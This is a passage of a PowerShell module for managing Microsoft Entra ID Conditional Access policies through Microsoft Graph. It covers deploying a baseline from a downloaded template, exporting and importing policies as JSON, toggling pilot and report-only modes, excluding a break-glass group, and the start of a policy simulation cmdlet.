'$NamedLocationAllowedCountries'..." + $ExistingNamedLocationAllowedCountries = Get-MgIdentityConditionalAccessNamedLocation -Filter "DisplayName eq '$NamedLocationAllowedCountries'" -Top 1 + + if ($ExistingNamedLocationAllowedCountries) { + Write-Verbose -Verbose -Message "The named location '$NamedLocationAllowedCountries' already exists!" + } + else { + # Create named location if none existed. + Write-Verbose -Verbose -Message "Could not find '$NamedLocationAllowedCountries'. Creating named location..." + + $params = @{ + "@odata.type" = "#microsoft.graph.countryNamedLocation" + DisplayName = "$NamedLocationAllowedCountries" + CountriesAndRegions = @( + "SE" + "US" + ) + IncludeUnknownCountriesAndRegions = $true + } + + $ExistingNamedLocationAllowedCountries = New-MgIdentityConditionalAccessNamedLocation -BodyParameter $params + } + + + # Step 6: Manage Terms of Use. + + # Check for existing Terms of Use. + if ($SkipPolicies -eq 'GLOBAL - 204 - GRANT - Terms of Use') { + Write-Verbose -Verbose -Message "Skipping Terms of Use because -SkipPolicies was set!" + } + else { + Write-Verbose -Verbose -Message "Checking for existing Terms of Use '$TermsOfUseName'..." + $ExistingTermsOfUse = Get-MgAgreement | where DisplayName -eq $TermsOfUseName | Select-Object -Last 1 + + if ($ExistingTermsOfUse) { + Write-Verbose -Verbose -Message "The Terms of Use '$TermsOfUseName' already exists!" + } + else { + # Create Terms of Use if none existed. + Write-Verbose -Verbose -Message "Could not find '$TermsOfUseName'. Creating Terms of Use..." + + # Download Terms of Use template from https://danielchronlund.com. + Write-Verbose -Verbose -Message "Downloading Terms of Use template from https://danielchronlund.com..." + Invoke-WebRequest 'https://danielchronlundcloudtechblog.files.wordpress.com/2023/09/termsofuse.pdf' -OutFile 'termsofuse.pdf' + + $fileContent = get-content -Raw 'termsofuse.pdf' + $fileContentBytes = [System.Text.Encoding]::Default.GetBytes($fileContent) + $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) + + $GraphBody = @" +{ + "displayName": "Terms of Use", + "isViewingBeforeAcceptanceRequired": true, + "files": [ + { + "fileName": "termsofuse.pdf", + "language": "en", + "isDefault": true, + "fileData": { + "data": "$fileContentEncoded" + } + } + ] +} +"@ + + Write-Verbose -Verbose -Message "Uploading template to Entra ID..." + + $ExistingTermsOfUse = Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/v1.0/identityGovernance/termsOfUse/agreements' -Body $GraphBody + } + } + + + # Step 7: Download Conditional Access baseline in JSON format from https://danielchronlund.com. + + Write-Verbose -Verbose -Message "Downloading Conditional Access baseline template from https://danielchronlund.com..." + Invoke-WebRequest 'https://danielchronlundcloudtechblog.files.wordpress.com/2024/03/conditional-access-design-version-14-poc.zip' -OutFile 'conditional-access-design-version-14-poc.zip' + + Write-Verbose -Verbose -Message "Unziping template..." + Expand-Archive -LiteralPath 'conditional-access-design-version-14-poc.zip' -DestinationPath . -Force + + + # Step 8: Modify JSON content. + + $JSONContent = Get-Content -Raw -Path 'conditional-access-design-version-14.json' + + # Report-only mode. + if (!($SkipReportOnlyMode)) { + $JSONContent = $JSONContent -replace '"enabled"', '"enabledForReportingButNotEnforced"' + } + else { + $JSONContent = $JSONContent -replace '"disabled"', '"enabled"' + } + + $JSONContent = $JSONContent -replace 'GLOBAL - ', "$AddCustomPrefix`GLOBAL - " + $JSONContent = $JSONContent -replace 'OVERRIDE - ', "$AddCustomPrefix`OVERRIDE - " + $JSONContent = $JSONContent -replace 'REPLACE WITH EXCLUDE GROUP ID', $ExistingExcludeGroup.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH SERVICE ACCOUNT GROUP ID', $ExistingServiceAccountGroup.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH SERVICE ACCOUNT TRUSTED NAMED LOCATION ID', $ExistingCorpNetworkNamedLocation.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH ALLOWED COUNTRIES NAMED LOCATION ID', $ExistingNamedLocationAllowedCountries.Id + $JSONContent = $JSONContent -replace 'REPLACE WITH TERMS OF USE ID', $ExistingTermsOfUse.Id + + + # Step 9: Deploy Conditional Access baseline. + + Write-Verbose -Verbose -Message "Deploying Conditional Access policies..." + + $ConditionalAccessPolicies = $JSONContent | ConvertFrom-Json + + foreach ($Policy in $ConditionalAccessPolicies) { + if ($SkipPolicies -contains $Policy.DisplayName) { + Write-Verbose -Verbose -Message "Skipping '$($Policy.DisplayName)'!" + } + else { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Creating '$($Policy.DisplayName)'..." + + try { + # Create new policies. + Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' -Body ($Policy | ConvertTo-Json -Depth 10) | Out-Null + } + catch { + Write-Error -Message $_.Exception.Message -ErrorAction Continue + } + } + } + + + # Step 10: Clean-up. + + Write-Verbose -Verbose -Message "Performing clean-up..." + + Remove-Item 'Conditional Access Design version 14 PoC.json' -Force -ErrorAction SilentlyContinue + Remove-Item 'conditional-access-design-version-14-poc.zip' -Force -ErrorAction SilentlyContinue + Remove-Item 'termsofuse.pdf' -Force -ErrorAction SilentlyContinue + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Export-DCConditionalAccessPolicyDesign { + <# + .SYNOPSIS + Export all Conditional Access policies to JSON. + + .DESCRIPTION + This CMDlet uses Microsoft Graph to export all Conditional Access policies in the tenant to a JSON file. This JSON file can be used for backup, documentation or to deploy the same policies again with Import-DCConditionalAccessPolicyDesign. You can basically treat Conditional Access as code! + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + .PARAMETER FilePath + The file path where the new JSON file will be created. Skip this to use the current path. + + .PARAMETER PrefixFilter + Only export the policies with this prefix. + + .INPUTS + None + + .OUTPUTS + JSON file with all Conditional Access policies. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Export-DCConditionalAccessPolicyDesign + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + } + Export-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + PrefixFilter = 'GLOBAL - ' + } + Export-DCConditionalAccessPolicyDesign @Parameters + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$FilePath = "$((Get-Location).Path)\Conditional Access Backup $(Get-Date -Format 'yyyy-MM-dd').json", + + [parameter(Mandatory = $false)] + [string]$PrefixFilter + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Show filter settings. + if ($PrefixFilter) { + Write-Verbose -Verbose -Message "Prefix filter was set and only policies beginning with '$PrefixFilter' will be exported!" + } + + + # Export all Conditional Access policies from Microsoft Graph as JSON. + Write-Verbose -Verbose -Message "Exporting Conditional Access policies to '$FilePath'..." + + $ConditionalAccessPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + $Result = foreach ($Policy in $ConditionalAccessPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Write-Verbose -Verbose -Message "Exporting $($Policy.DisplayName)..." + + $Policy.Id = 'REMOVETHISLINE' + + if ($Policy.GrantControls.authenticationStrength) { + $params = @{ + id = [string]$Policy.GrantControls.authenticationStrength.id + } + + $Policy.GrantControls.authenticationStrength = $params + } + + $Policy + } + } + + $Result | ConvertTo-Json -Depth 10 | Out-File -Force:$true -FilePath $FilePath + + + # Perform some clean up in the JSON file. + $CleanUp = Get-Content $FilePath | Select-String -Pattern '"REMOVETHISLINE"', '"createdDateTime":', '"modifiedDateTime":', 'authenticationStrength@odata.context' -NotMatch + + $CleanUp | Out-File -Force:$true -FilePath $FilePath + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Import-DCConditionalAccessPolicyDesign { + <# + .SYNOPSIS + Import Conditional Access policies from JSON. + + .DESCRIPTION + This CMDlet uses Microsoft Graph to automatically create Conditional Access policies from a JSON file. + + The JSON file can be created from existing policies with Export-DCConditionalAccessPolicyDesign or manually by following the syntax described in the Microsoft Graph documentation: + https://docs.microsoft.com/en-us/graph/api/resources/conditionalaccesspolicy?view=graph-rest-1.0 + + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use the -SkipReportOnlyMode override. + + WARNING: If you want to, you can also delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with caution and always create a backup with Export-DCConditionalAccessPolicyDesign first! + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + As a best practice you should always have an Entra ID security group with break glass accounts excluded from all Conditional Access policies. + + .PARAMETER FilePath + The file path of the JSON file containing your Conditional Access policies. + + .PARAMETER SkipReportOnlyMode + All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. + + .PARAMETER DeleteAllExistingPolicies + WARNING: If you want to, you can delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with causon and allways create a backup with Export-DCConditionalAccessPolicyDesign first!! + + .PARAMETER AddCustomPrefix + Adds a custom prefix to all policy names. + + .PARAMETER PrefixFilter + Only import (and delete) the policies with this prefix in the JSON file. + + .INPUTS + JSON file containing your Conditional Access policies. + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + } + + Import-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'PILOT - ' + } + + Import-DCConditionalAccessPolicyDesign @Parameters + + .EXAMPLE + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $true + DeleteAllExistingPolicies = $true + PrefixFilter = 'GLOBAL - ' + } + + Import-DCConditionalAccessPolicyDesign @Parameters + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$FilePath, + + [parameter(Mandatory = $false)] + [switch]$SkipReportOnlyMode, + + [parameter(Mandatory = $false)] + [switch]$DeleteAllExistingPolicies, + + [parameter(Mandatory = $false)] + [string]$AddCustomPrefix = '', + + [parameter(Mandatory = $false)] + [string]$PrefixFilter + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Prompt for confirmation: + if ($SkipReportOnlyMode) { + $title = 'Confirm' + $question = "Do you want to import the Conditional Access policies from JSON file '$FilePath' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'? WARNING: ALL POLICIES will go live for ALL USERS! Remove -SkipReportOnlyMode to deploy in report-only mode instead." + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + else { + $title = 'Confirm' + $question = "Do you want to import the Conditional Access policies from JSON file '$FilePath' in report-only mode in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + Write-Verbose -Verbose -Message "Starting deployment..." + } + else { + return + } + } + + + # Show filter settings. + if ($PrefixFilter) { + Write-Verbose -Verbose -Message "Prefix filter was set and only policies beginning with '$PrefixFilter' will be affected!" + } + + + # Import policies from JSON file. + Write-Verbose -Verbose -Message "Importing JSON from '$FilePath'..." + $ConditionalAccessPolicies = Get-Content -Raw -Path $FilePath + + + # Modify enabled policies to report-only if not skipped with -SkipReportOnlyMode. + if (!($SkipReportOnlyMode)) { + Write-Verbose -Verbose -Message "Setting new policies to report-only mode..." + $ConditionalAccessPolicies = $ConditionalAccessPolicies -replace '"enabled"', '"enabledForReportingButNotEnforced"' + } + + + # Add prefix. + $ConditionalAccessPolicies = $ConditionalAccessPolicies -replace '"displayName": "', """displayName"": ""$AddCustomPrefix" + + + # Delete all existing policies if -DeleteAllExistingPolicies is specified. + if ($DeleteAllExistingPolicies) { + Write-Verbose -Verbose -Message "Deleting existing Conditional Access policies..." + $GraphUri = 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' + $ExistingPolicies = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.displayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + $GraphUri = "https://graph.microsoft.com/beta/identity/conditionalAccess/policies/$($Policy.id)" + + Invoke-MgGraphRequest -AccessToken $AccessToken -GraphMethod 'DELETE' -GraphUri $GraphUri -ErrorAction SilentlyContinue | Out-Null + } + } + } + + + $ConditionalAccessPolicies = $ConditionalAccessPolicies | ConvertFrom-Json + + foreach ($Policy in $ConditionalAccessPolicies) { + if ($Policy.displayName.StartsWith($PrefixFilter)) { + Start-Sleep -Seconds 1 + Write-Verbose -Verbose -Message "Creating '$($Policy.DisplayName)'..." + + try { + # Create new policies. + Invoke-MgGraphRequest -Method POST -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' -Body ($Policy | ConvertTo-Json -Depth 10) | Out-Null + } + catch { + Write-Error -Message $_.Exception.Message -ErrorAction Continue + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Set-DCConditionalAccessPoliciesPilotMode { + <# + .SYNOPSIS + Toggles Conditional Access policies between 'All users' and a specified pilot group. + + .DESCRIPTION + This command helps you to quickly toggle you Conditional Access policies between a pilot and production. It does this by switching policies targeting a specified pilot group and 'All users'. + + It is common to use a dedicated Entra ID security group to target specific pilot users during a Conditional Access deployment project. When the pilot is completed you want to move away from that pilot group and target 'All users' in the organization instead (at least with your global baseline). + + You must filter the toggle with a prefix filter to only modify specific policies. Use a prefix like "GLOBAL -" or "PILOT -" for easy bulk management. This is a built-in safety measure. + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER PilotGroupName + The name of your pilot group in Entra ID (must be a security group for users). + + .PARAMETER EnablePilot + Modify all specified Conditional Access policies to target your pilot group. + + .PARAMETER EnableProduction + Modify all specified Conditional Access policies to target 'All users'. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + + .EXAMPLE + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$PrefixFilter, + + [parameter(Mandatory = $true)] + [string]$PilotGroupName, + + [parameter(Mandatory = $false)] + [switch]$EnablePilot, + + [parameter(Mandatory = $false)] + [switch]$EnableProduction + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Parameter check: + if ($EnablePilot -and $EnableProduction) { + Write-Error -Message 'You can''t use -EnablePilot and -EnableProduction at the same time!' + return + } + elseif (!($EnablePilot) -and !($EnableProduction)) { + Write-Error -Message 'You must use -EnablePilot or -EnableProduction!' + return + } + + + if ($EnableProduction) { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from pilot group '$PilotGroupName' to 'All users'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from 'All users' to pilot group '$PilotGroupName'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing pilot group '$PilotGroupName'..." + $ExistingPilotGroup = Get-MgGroup -Filter "DisplayName eq '$PilotGroupName'" -Top 1 + + if ($ExistingPilotGroup) { + Write-Verbose -Verbose -Message "Found group '$PilotGroupName'!" + } + else { + Write-Error -Message "Could not find group '$PilotGroupName'!" + return + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to toggle..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($EnableProduction) { + if ($Policy.Conditions.Users.IncludeGroups -contains $ExistingPilotGroup.Id) { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to 'All users'..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + IncludeUsers = @( + "All" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + elseif ($EnablePilot) { + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to pilot group..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + IncludeUsers = @( + "None" + ) + IncludeGroups = @( + "$($ExistingPilotGroup.Id)" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Set-DCConditionalAccessPoliciesReportOnlyMode { + <# + .SYNOPSIS + Toggles Conditional Access policies between 'Report-only' and Enabled. + + .DESCRIPTION + This command helps you to quickly toggle you Conditional Access policies between Report-only and Enabled. + + If will skip any policies in Disabled state. + + You must filter the toggle with a prefix filter to only modify specific policies. This is a built-in safety measure. + + .PARAMETER PrefixFilter + Only toggle the policies with this prefix. + + .PARAMETER SetToReportOnly + Modify all specified Conditional Access policies to report-only. + + .PARAMETER SetToEnabled + Modify all specified Conditional Access policies to Enabled. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + + .EXAMPLE + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $true)] + [string]$PrefixFilter, + + [parameter(Mandatory = $false)] + [switch]$SetToReportOnly, + + [parameter(Mandatory = $false)] + [switch]$SetToEnabled + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Parameter check: + if ($SetToReportOnly -and $SetToEnabled) { + Write-Error -Message 'You can''t use -SetToReportOnly and -SetToEnabled at the same time!' + return + } + elseif (!($SetToReportOnly) -and !($SetToEnabled)) { + Write-Error -Message 'You must use -SetToReportOnly or -SetToEnabled!' + return + } + + + if ($SetToEnabled) { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from Report-only to Enabled?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + else { + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to switch all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )' from Enabled to Report-only?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 1) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to toggle..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + + if ($SetToEnabled) { + if ($Policy.State -eq 'enabledForReportingButNotEnforced') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to Enabled..." + + # Toggle policy: + $params = @{ + State = "enabled" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + elseif ($SetToReportOnly) { + if ($Policy.State -eq 'Enabled') { + Write-Verbose -Verbose -Message "Toggling '$($Policy.DisplayName)' to Report-only..." + + # Toggle policy: + $params = @{ + State = "enabledForReportingButNotEnforced" + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Add-DCConditionalAccessPoliciesBreakGlassGroup { + <# + .SYNOPSIS + Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + + .DESCRIPTION + Excludes a specified Entra ID security group from all Conditional Access policies in the tenant. + + Please create the group and add your break glass accounts before running this command. + + You can filter on a name prefix with -PrefixFilter. + + .PARAMETER PrefixFilter + Only modify the policies with this prefix. + + .PARAMETER ExcludeGroupName + The name of your exclude group in Entra ID. Please create the group and add your break glass accounts before running this command. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [string]$PrefixFilter = '', + + [parameter(Mandatory = $true)] + [string]$ExcludeGroupName + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All', 'Group.Read.All' -Verbose + + + # Prompt for confirmation: + $title = 'Confirm' + $question = "Do you want to exclude the group '$($ExcludeGroupName)' from all Conditional Access policies with prefix '$PrefixFilter' in tenant '$(((Get-MgContext).Account.Split('@'))[1] )'?" + $choices = '&Yes', '&No' + + $decision = $Host.UI.PromptForChoice($title, $question, $choices, 0) + if ($decision -eq 0) { + Write-Host "" + } + else { + return + } + + + # Check for existing group. + Write-Verbose -Verbose -Message "Checking for existing exclude group '$ExcludeGroupName'..." + $ExistingExcludeGroup = Get-MgGroup -Filter "DisplayName eq '$ExcludeGroupName'" -Top 1 + + if ($ExistingExcludeGroup) { + Write-Verbose -Verbose -Message "Found group '$ExcludeGroupName'!" + } + else { + Write-Error -Message "Could not find group '$ExcludeGroupName'!" + return + } + + + # Modify all existing policies. + Write-Verbose -Verbose -Message "Looking for Conditional Access policies to modify..." + $ExistingPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + + foreach ($Policy in $ExistingPolicies) { + if ($Policy.DisplayName.StartsWith($PrefixFilter)) { + Write-Verbose -Verbose -Message "Excluding group '$ExcludeGroupName' from '$($Policy.DisplayName)'..." + + # Toggle policy: + $params = @{ + Conditions = @{ + Users = @{ + ExcludeGroups = @( + $Policy.Conditions.Users.ExcludeGroups + "$($ExistingExcludeGroup.Id)" + ) + } + } + } + + Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $Policy.Id -BodyParameter $params + + Start-Sleep -Seconds 1 + } + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function Invoke-DCConditionalAccessSimulation { + <# + .SYNOPSIS + Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + + .PARAMETER UserPrincipalName + The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + + .PARAMETER JSONFile + Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + + .PARAMETER ApplicationDisplayName + The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + + .PARAMETER UserAction + Under construction... + + .PARAMETER ClientApp + The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + + .PARAMETER TrustedIPAddress + Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + + .PARAMETER Country + The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + + .PARAMETER Platform + Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + + .PARAMETER SignInRiskLevel + Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER UserRiskLevel + Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + + .PARAMETER SummarizedOutput + By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host). + + .PARAMETER VerbosePolicyEvaluation + Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + + .PARAMETER IncludeNonMatchingPolicies + Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + + .INPUTS + None + + .OUTPUTS + Simulated Conditional Access evaluation results + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulation | Format-List + + .EXAMPLE + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + } + + Invoke-DCConditionalAccessSimulation @Parameters + + .EXAMPLE + # Run basic evaluation offline against a JSON of Conditional Access policies. + 